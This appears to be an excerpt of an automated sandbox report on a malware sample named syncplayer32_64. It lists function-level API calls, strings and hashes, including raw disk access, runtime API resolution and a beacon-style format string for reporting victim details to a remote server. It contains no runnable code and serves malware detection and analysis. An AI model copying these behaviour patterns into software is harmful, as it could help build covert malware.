\\.\PhysicalDrive0, xrefs: 02B4F8BB

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: 4625b40f0c57f7f400dfa8e0e6fd714208b7d7e5efda21619a968d6c4df25193
Instruction ID: 247970050d7661a6dccbd20d2b9efdf81add174b003909c4a33f4398e1baab1f
Opcode Fuzzy Hash: 4625b40f0c57f7f400dfa8e0e6fd714208b7d7e5efda21619a968d6c4df25193
Instruction Fuzzy Hash: 5831A371D00219BBDF14DF94D888BBEBBB9FF05754F2041A9E604A7680DB709A00DB90

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNEL32(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
CloseHandle.KERNEL32(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLast
String ID: \\.\PhysicalDrive0
API String ID: 4026078076-1180397377
Opcode ID: fd3d7e55200b9048e553272cc6cf421996b3d61c1706a42d5402815c35150978
Instruction ID: fc5459d69a5e6c49bca5cc78d3dc221f071340c211699d49f4a7d64a8e61b194
Opcode Fuzzy Hash: fd3d7e55200b9048e553272cc6cf421996b3d61c1706a42d5402815c35150978
Instruction Fuzzy Hash: 0D318D71D00118EACB21EFA5CD849EFBBB9FF41750F20407AE514B22A0E3786E45CB98

Function 02B4643F Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 229
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 02B464D1
GetProcAddress.KERNEL32(00000000), ref: 02B464DA
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 02B464E9
GetProcAddress.KERNEL32(00000000), ref: 02B464EC
GetTickCount.KERNEL32 ref: 02B464F8
GetVersionExA.KERNEL32(02B77038), ref: 02B46525
_malloc.LIBCMT ref: 02B46551
_malloc.LIBCMT ref: 02B46561
_malloc.LIBCMT ref: 02B4656C
_malloc.LIBCMT ref: 02B46577
_malloc.LIBCMT ref: 02B46582
_malloc.LIBCMT ref: 02B4658D
_malloc.LIBCMT ref: 02B46598
_malloc.LIBCMT ref: 02B465A7
GetProcessHeap.KERNEL32(00000000,00000004), ref: 02B465BE
RtlAllocateHeap.NTDLL(00000000), ref: 02B465C7
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B465D6
RtlAllocateHeap.NTDLL(00000000), ref: 02B465D9
GetProcessHeap.KERNEL32(00000000,00000400), ref: 02B465E4
RtlAllocateHeap.NTDLL(00000000), ref: 02B465E7

Strings

sprintf, xrefs: 02B464CB
ntdll.dll, xrefs: 02B464C6, 02B464D0, 02B464E1
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B46739
strcat, xrefs: 02B464DC
cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 02B4666F

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$AllocateProcess$AddressHandleModuleProc$CountTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 239751247-2678694477
Opcode ID: 351c9c91c1b0274297adc051a357ff69d01f3d69d29ee31db6dc21df0344d5be
Instruction ID: a5e667018f8429581a0783d6bd66d3bc722220658109cda80020c2ad21ecf39b
Opcode Fuzzy Hash: 351c9c91c1b0274297adc051a357ff69d01f3d69d29ee31db6dc21df0344d5be
Instruction Fuzzy Hash: 15711872D49350AFE310AF34AC48B5BBBE9EF85354F1408ADF9949B280DFB88440DB56

Function 02B41CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02B41D11
GetLastError.KERNEL32 ref: 02B41D23

Part of subcall function 02B41712: __EH_prolog.LIBCMT ref: 02B41717

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02B41D59
GetLastError.KERNEL32 ref: 02B41D6B
__beginthreadex.LIBCMT ref: 02B41DB1
GetLastError.KERNEL32 ref: 02B41DC6
CloseHandle.KERNEL32(00000000), ref: 02B41DDD
CloseHandle.KERNEL32(00000000), ref: 02B41DEC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02B41E14
CloseHandle.KERNEL32(00000000), ref: 02B41E1B

Strings

thread, xrefs: 02B41DFB
thread.entry_event, xrefs: 02B41D3C
thread.exit_event, xrefs: 02B41D84

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$CreateEvent$H_prologObjectSingleWait__beginthreadex
String ID: thread$thread.entry_event$thread.exit_event
API String ID: 831262434-3017686385
Opcode ID: 5260646d98875149015e47ebc835c466ceb9f7c208a648b86804344517da7d09
Instruction ID: 27028f680864cb55d63164915e2ec0c241b091c187c1b570d5998b300d725535
Opcode Fuzzy Hash: 5260646d98875149015e47ebc835c466ceb9f7c208a648b86804344517da7d09
Instruction Fuzzy Hash: 91318D71A103119FD700EF24C888B2BBBA5EB84754F1049ADF9598B290DB749889DFA2

Function 02B44603 Relevance: 19.9, APIs: 13, Instructions: 442
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02B44608

Part of subcall function 02B53B4C: _malloc.LIBCMT ref: 02B53B64

htons.WS2_32(?), ref: 02B44669
htonl.WS2_32(?), ref: 02B4468C
htonl.WS2_32(00000000), ref: 02B44693
htons.WS2_32(00000000), ref: 02B44747
_sprintf.LIBCMT ref: 02B4475D

Part of subcall function 02B4898C: _memmove.LIBCMT ref: 02B489AC

htons.WS2_32(?), ref: 02B446B0

Part of subcall function 02B49737: __EH_prolog.LIBCMT ref: 02B4973C
Part of subcall function 02B49737: RtlEnterCriticalSection.NTDLL(00000020), ref: 02B497B7
Part of subcall function 02B49737: RtlLeaveCriticalSection.NTDLL(00000020), ref: 02B497D5

Part of subcall function 02B41BA7: __EH_prolog.LIBCMT ref: 02B41BAC
Part of subcall function 02B41BA7: RtlEnterCriticalSection.NTDLL ref: 02B41BBC
Part of subcall function 02B41BA7: RtlLeaveCriticalSection.NTDLL ref: 02B41BEA
Part of subcall function 02B41BA7: RtlEnterCriticalSection.NTDLL ref: 02B41C13
Part of subcall function 02B41BA7: RtlLeaveCriticalSection.NTDLL ref: 02B41C56

Part of subcall function 02B4DEF3: __EH_prolog.LIBCMT ref: 02B4DEF8

htonl.WS2_32(?), ref: 02B4497C
htonl.WS2_32(00000000), ref: 02B44983
htonl.WS2_32(00000000), ref: 02B449C8
htonl.WS2_32(00000000), ref: 02B449CF
htons.WS2_32(?), ref: 02B449EF
htons.WS2_32(?), ref: 02B449F9

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSectionhtonl$htons$H_prolog$EnterLeave$_malloc_memmove_sprintf
String ID:
API String ID: 1645262487-0
Opcode ID: 586b106507dd224438213029f0028ff034246ce8106fbdc29ddc0df92f572dc9
Instruction ID: c2e74fb968b0324ea0f89af147d2401936a27b2b6d6057c976fae1102e7deb87
Opcode Fuzzy Hash: 586b106507dd224438213029f0028ff034246ce8106fbdc29ddc0df92f572dc9
Instruction Fuzzy Hash: 06023871D00259EEDF15DFA4C884BEEBBB9AF08304F14419AE545B7280DB746A88DFA1

Function 02B44D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02B44D8B
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B44DB7
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B44DC3

Part of subcall function 02B44BED: __EH_prolog.LIBCMT ref: 02B44BF2
Part of subcall function 02B44BED: InterlockedExchange.KERNEL32(?,00000000), ref: 02B44CF2

RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B44E93
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B44E99
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B44EA0
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B44EA6
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B450A7
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B450AD
RtlEnterCriticalSection.NTDLL(02B771E0), ref: 02B450B8
RtlLeaveCriticalSection.NTDLL(02B771E0), ref: 02B450C1

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
String ID:
API String ID: 2062355503-0
Opcode ID: 94b84d27925f6ae88f5594d91b54ead5dd3e6b86f297b72941d1aff824c2d50e
Instruction ID: 2b3f3c27bc064a0b4acca079ef4303acf782d9ba90736ac0a314a5ac1d1e3575
Opcode Fuzzy Hash: 94b84d27925f6ae88f5594d91b54ead5dd3e6b86f297b72941d1aff824c2d50e
Instruction Fuzzy Hash: DDB13971D0025EAFDF25DF90C894BEEBBB5AF04314F24409AE40567280DFB46A49DFA1

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00401FBF
GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNEL32(00000040,?), ref: 00402061

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: c339dbb3d4f54c4bfe23240511e1faf338c1a50a53de60f6f0a2310917010a4d
Instruction ID: 796ee674081a33e1eca3e8dafd4cf7228c54fde160adeeae20eb912a95efe89d
Opcode Fuzzy Hash: c339dbb3d4f54c4bfe23240511e1faf338c1a50a53de60f6f0a2310917010a4d
Instruction Fuzzy Hash: 5F314C32A402516FDB14DFB99E489AF7FB8EF45344B10807AFA46F7291D6748841C7A8

Function 02B47B88 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02B46739
TxZ4, xrefs: 02B47BC5

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID:
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$TxZ4
API String ID: 0-2294826057
Opcode ID: 3f9f2b4d820cc8ecb9f0b640b94c204e7a3a3b42443278fb712b7fd5e6a05844
Instruction ID: 64250922cbbe0964663f5c6f9ea2c24cd071da856037d258836efcbb6d3ce1e4
Opcode Fuzzy Hash: 3f9f2b4d820cc8ecb9f0b640b94c204e7a3a3b42443278fb712b7fd5e6a05844
Instruction Fuzzy Hash: 4751EC72A083409FD7219E38A8947DAFBE1EF87724F5809DCE9818B242DF218506F7C5

Function 02B426DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 02B42706
CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02B4272B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02B65B53), ref: 02B42738

Part of subcall function 02B41712: __EH_prolog.LIBCMT ref: 02B41717

SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02B42778
RtlLeaveCriticalSection.NTDLL(?), ref: 02B427D9

Strings

timer, xrefs: 02B42745

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID: timer
API String ID: 4293676635-1792073242
Opcode ID: b5ecc5393eb6d12c4f91470713d903494f8d5179488828b3ea90b4fc1b19f875
Instruction ID: 2c403bd8f305d4a4b623849dfc7ee7fab91b1716bca499663b02049d84a98365
Opcode Fuzzy Hash: b5ecc5393eb6d12c4f91470713d903494f8d5179488828b3ea90b4fc1b19f875
Instruction Fuzzy Hash: B331D4B1904705AFD310DF25C988B26FBE8FB48754F004AAEF95587680DB74E810DFA5

Function 02B42B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 02B42BE4
WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 02B42C07

Part of subcall function 02B4A509: WSAGetLastError.WS2_32(00000000,?,?,02B42A51), ref: 02B4A517

WSASetLastError.WS2_32 ref: 02B42CD3
select.WS2_32(?,?,00000000,00000000,00000000), ref: 02B42CE7

Strings

3', xrefs: 02B42C85

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLast$Recvselect
String ID: 3'
API String ID: 886190287-280543908
Opcode ID: 82fe2ee66163c791dbf3039b3f092744ff9ead8ef4b4e0a72a50f6a725fe8273
Instruction ID: bfb6b951776c65ed27318edf44e8db057e3ba838debdb7887503d2c77c7633e6
Opcode Fuzzy Hash: 82fe2ee66163c791dbf3039b3f092744ff9ead8ef4b4e0a72a50f6a725fe8273
Instruction Fuzzy Hash: 3B414CB19143059FD710AF64C59476BBBE9EF88358F100D9EFC9987280EFB4D540AB92

Function 02B429EE Relevance: 7.6, APIs: 5, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 02B42A3B
closesocket.WS2_32 ref: 02B42A42
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 02B42A89
WSASetLastError.WS2_32(00000000,?,8004667E,00000000), ref: 02B42A97
closesocket.WS2_32 ref: 02B42A9E

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLastclosesocket$ioctlsocket
String ID:
API String ID: 1561005644-0
Opcode ID: 7ab5fc758abda09ed34026084f5fd1dd9bc3fbacc768125c2e8492ffb990464b
Instruction ID: 0090a4513af69eaf142215af2ae5912a9b9880c4c874de4fbb9725039d3a5e08
Opcode Fuzzy Hash: 7ab5fc758abda09ed34026084f5fd1dd9bc3fbacc768125c2e8492ffb990464b
Instruction Fuzzy Hash: 7A212D75A002059BEB20ABB89988769B7E9EF48319F1049EBFD65C3181FF74C940EB50

Function 02B41BA7 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B41BAC
RtlEnterCriticalSection.NTDLL ref: 02B41BBC
RtlLeaveCriticalSection.NTDLL ref: 02B41BEA
RtlEnterCriticalSection.NTDLL ref: 02B41C13
RtlLeaveCriticalSection.NTDLL ref: 02B41C56

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog
String ID:
API String ID: 1633115879-0
Opcode ID: 8e55de2150b82c294f6b56f76b896d6639f4e23ef32f171c659e97d33cbf00a9
Instruction ID: 4074efb19f6ad95dc073f3778d3b61048662fa8994f0a994d849dd2b967928da
Opcode Fuzzy Hash: 8e55de2150b82c294f6b56f76b896d6639f4e23ef32f171c659e97d33cbf00a9
Instruction Fuzzy Hash: CC21BF75900214EFCB14CF6CC8887AABBB5FF48714F108589E8599B302DB74EA51DBE0

Function 00402DA0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00402DC6

Part of subcall function 00403A30: HeapCreate.KERNEL32(00000000,00001000,00000000,00402DFF,00000000), ref: 00403A41
Part of subcall function 00403A30: HeapDestroy.KERNEL32 ref: 00403A80

GetCommandLineA.KERNEL32 ref: 00402E14
GetStartupInfoA.KERNEL32(?), ref: 00402E3F
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00402E62

Part of subcall function 00402EBB: ExitProcess.KERNEL32 ref: 00402ED8

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 37c0014e2e2a3cc91b0f97f7efc6e89b0e41cada37b13d3a5b3b7a3bfedef6b6
Instruction ID: 9427651bd7d4147f18cf1345822f920b193015e9f721fff9bbe2dec0a96979c1
Opcode Fuzzy Hash: 37c0014e2e2a3cc91b0f97f7efc6e89b0e41cada37b13d3a5b3b7a3bfedef6b6
Instruction Fuzzy Hash: 252191B0840715ABD714EFA5DD49A6E7BA8EB04705F10413FF506B72D1DB384500C799

Function 02B42EDD Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B42EEE
WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02B42EFD
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02B42F0C
setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 02B42F36

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLast$Socketsetsockopt
String ID:
API String ID: 2093263913-0
Opcode ID: 2091e403e8aad69169574c223185c1885f817941cea6d9ec1cd4ec1b9d7206ad
Instruction ID: 69a55afdf1e7c667bac42f8a61921569c3cc02137afc9539df44f7e21019470b
Opcode Fuzzy Hash: 2091e403e8aad69169574c223185c1885f817941cea6d9ec1cd4ec1b9d7206ad
Instruction Fuzzy Hash: 5A018D71650214BBDB205F65DC88F5ABBA9EF89775F008955F918CB181DB74C8009B70

Function 02B42DB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

Part of subcall function 02B42D39: WSASetLastError.WS2_32(00000000), ref: 02B42D47
Part of subcall function 02B42D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02B42D5C

WSASetLastError.WS2_32(00000000), ref: 02B42E6D
select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 02B42E83

Strings

3', xrefs: 02B42E22

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLast$Sendselect
String ID: 3'
API String ID: 2958345159-280543908
Opcode ID: cca60c1966c0aa839ed1d10aeae5d8e46a99be12db40ef25eb1e7ca71ad45e48
Instruction ID: 617fce322b015e662af786a91ad94a28fcd54fc7c8c195aa5e2a1fe995690f19
Opcode Fuzzy Hash: cca60c1966c0aa839ed1d10aeae5d8e46a99be12db40ef25eb1e7ca71ad45e48
Instruction Fuzzy Hash: 62319271E102199FDF10EF64D8947EE7BA5EF09358F0049DAEC0597240EFB59550AFA0

Function 02B49669 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000,?,?,?,?,?,?,?,02B483D3,?,?,00000000), ref: 02B496D0
getsockname.WS2_32(?,?,?), ref: 02B496E6

Strings

&', xrefs: 02B49719

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLastgetsockname
String ID: &'
API String ID: 566540725-655172784
Opcode ID: b330d66e9c91d8d008c0beebd90707f79eadd39afdb2123c5e33fdc0499da0ff
Instruction ID: 8491375293c5bcba6f04e51cf4d77f91e1f6d61a7410268d568417600c0504e2
Opcode Fuzzy Hash: b330d66e9c91d8d008c0beebd90707f79eadd39afdb2123c5e33fdc0499da0ff
Instruction Fuzzy Hash: A4216571A10648DBDB10DF68D884BCEB7F5FF4C314F10856AE918EB280EB34E9459B50

Function 02B4CDA4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4CDA9

Part of subcall function 02B4D367: std::exception::exception.LIBCMT ref: 02B4D394

Part of subcall function 02B4DB7D: __EH_prolog.LIBCMT ref: 02B4DB82

Part of subcall function 02B53B4C: _malloc.LIBCMT ref: 02B53B64

Part of subcall function 02B4D3C4: __EH_prolog.LIBCMT ref: 02B4D3C9

Strings

C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 02B4CDE6
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 02B4CDDF

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 1953324306-412195191
Opcode ID: 3215bc239e2400e9b06daf8d79536ffda25ecf241b746bc8814a05d3ced16871
Instruction ID: aff35f1f269585b69a27d93d9eff6007c6fed86333cd15c4d238ee9a7118d2a3
Opcode Fuzzy Hash: 3215bc239e2400e9b06daf8d79536ffda25ecf241b746bc8814a05d3ced16871
Instruction Fuzzy Hash: 9521AD71E002189BDB14EFE8D484BAEFBB5EF54704F0445DDE845AB280CF74AA04EB90

Function 02B42AC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B42AEA
connect.WS2_32(?,?,?), ref: 02B42AF5

Strings

3', xrefs: 02B42B3B

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ErrorLastconnect
String ID: 3'
API String ID: 374722065-280543908
Opcode ID: b037de90bf70b62bbcb1e5bd22ee4ab549564ccc408dc5e42eff244a594d7821
Instruction ID: dc1416fad3f98ac04e0b5fdd17e9e6cbe1d16f93f145dfd3086cfd5af47d2435
Opcode Fuzzy Hash: b037de90bf70b62bbcb1e5bd22ee4ab549564ccc408dc5e42eff244a594d7821
Instruction Fuzzy Hash: FD21AA70E10214ABCF10AF74C4947BDBBBAEF48324F1045D9ED1897280EFB45501AF91

Function 02B497F0 Relevance: 4.7, APIs: 3, Instructions: 151networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02B49874
getaddrinfo.WS2_32(00000000,00000000,?,?), ref: 02B49882
FreeAddrInfoW.WS2_32(?), ref: 02B499B6

Part of subcall function 02B49F55: __EH_prolog.LIBCMT ref: 02B49F5A

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AddrErrorFreeH_prologInfoLastgetaddrinfo
String ID:
API String ID: 927184805-0
Opcode ID: 737a1c15b9da3e92329098cc6eeca773fbe12691fc3c207b147211c6e2c66e15
Instruction ID: 000ef25f6ebb9cc41e00b7bd345e73760704f5f08d85cf7f645d6a9bbbed12b4
Opcode Fuzzy Hash: 737a1c15b9da3e92329098cc6eeca773fbe12691fc3c207b147211c6e2c66e15
Instruction Fuzzy Hash: 9751AE31508B419FE720DF28C885B9BBBE5EF84714F440A5DFA99832C0DB74A845CB92

Function 02B4353E Relevance: 4.6, APIs: 3, Instructions: 127COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B43543

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3cf81884fd83c3fede2da371491dce256ddda7482400e134ed6221c497f050d4
Instruction ID: 29193764b1d65de805439ef79a071872acc7b98b21edaef7921b2822db3d71bd
Opcode Fuzzy Hash: 3cf81884fd83c3fede2da371491dce256ddda7482400e134ed6221c497f050d4
Instruction Fuzzy Hash: C6514071905216DFCB04DF58C48076ABBF1FF08314F24859DE8299B380DB749910DFA1

Function 02B4369A Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 02B436A7

Part of subcall function 02B42420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02B42432
Part of subcall function 02B42420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02B42445
Part of subcall function 02B42420: RtlEnterCriticalSection.NTDLL(?), ref: 02B42454
Part of subcall function 02B42420: InterlockedExchange.KERNEL32(?,00000001), ref: 02B42469
Part of subcall function 02B42420: RtlLeaveCriticalSection.NTDLL(?), ref: 02B42470

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

